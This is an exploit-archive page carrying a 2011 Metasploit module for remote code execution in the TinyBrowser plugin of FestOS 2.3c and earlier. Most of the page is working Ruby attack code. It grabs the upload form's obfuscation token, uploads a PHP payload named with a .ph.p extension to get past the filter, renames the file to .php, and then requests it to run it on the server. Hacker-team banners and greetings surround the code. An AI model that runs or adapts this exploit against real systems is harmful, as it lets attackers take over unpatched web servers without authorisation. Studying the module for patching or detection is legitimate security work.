exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FestOS <= 2.3c TinyBrowser File Upload Code Execution

FestOS <= 2.3c TinyBrowser File Upload Code Execution
Posted May 31, 2011
Authored by KedAns-Dz | Site metasploit.com

This Metasploit module exploits a vulnerability in the TinyMCE/tinybrowser plugin. By renaming the uploaded file this vulnerability can be used to upload/execute code on the affected system.

tags | exploit
SHA-256 | f8db17b294efb81fd18b606bdb54bbae4c0ec34e8fe95b0d4a1492781eed0504

FestOS <= 2.3c TinyBrowser File Upload Code Execution

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : FestOS <= 2.3c TinyBrowser File Upload Code Execution (meta)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com
# Twitter page : twitter.com/kedans
# platform : php
# Impact : File Upload Code Execution (via MetaSploit3)
# Tested on : [Windows XP sp3 FR] & [Linux.(Ubuntu 10.10) En]
##
# xXx < Greetings to 'indoushka' at the Jail ... and to his mother 'Rebbi Ya3tik eSber' > xXx
##
# $Id: festos_tinybrowser.rb | 2011-05-31 01:10 | KedAns-Dz $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'FestOS <= 2.3c TinyBrowser File Upload Code Execution',
'Description' => %q{
This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
By renaming the uploaded file this vulnerability can be used to upload/execute
code on the affected system.
},
'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ],
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[

['URL', 'http://1337day.com/exploits/16057'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => '08/05/2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "FestOS directory path", "/"]),
], self.class)
end

def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'admin/includes/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='
res = send_request_raw(
{
'uri' => uri
}, 25)

if (res and res.body =~ /flexupload.swf/)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def retrieve_obfuscation()

end


def exploit

cmd_php = '<?php ' + payload.encoded + '?>'

# Generate some random strings
cmdscript = rand_text_alpha_lower(20)
boundary = rand_text_alphanumeric(6)

# Static files
directory = '/images/demo/'
uri_base = ''
uri_base << datastore['URI']
uri_base << '/' if uri_base[-1,1] != '/'
uri_base << 'admin/includes/tiny_mce/plugins/tinybrowser'

# Get obfuscation code (needed to upload files)
obfuscation_code = nil

res = send_request_raw({
'uri' => uri_base + '/upload.php?type=file&folder='
}, 25)

if (res)

if(res.body =~ /"obfus", "((\w)+)"\)/)
obfuscation_code = $1
print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
else
print_error("Error retrieving obfuscation code!")
return
end
end



# Upload shellcode (file ending .ph.p)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << "#{cmdscript}.ph.p\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << cmd_php
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri' => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
}, 25)

if (res and res.body =~ /File Upload Success/)
print_status("Successfully uploaded #{cmdscript}.ph.p")
else
print_error("Error uploading #{cmdscript}.ph.p")
end


# Complete the upload process (rename file)
print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
res = send_request_raw({
'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
})


# Rename the file from .ph.p to .php
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri_base + '/edit.php?type=file&folder=',
'vars_post' =>
{
'actionfile[0]' => "#{cmdscript}.ph.p",
'renameext[0]' => 'p',
'renamefile[0]' => "#{cmdscript}.ph",
'sortby' => 'name',
'sorttype' => 'asc',
'showpage' => '0',
'action' => 'rename',
'commit' => '',
}
}, 10)

if (res and res.body =~ /successfully renamed./)
print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
else
print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
end


# Finally call the payload
print_status("Calling payload: #{cmdscript}.php")
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << directory + cmdscript + ".php"
res = send_request_raw({
'uri' => uri
}, 25)

end

end

#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close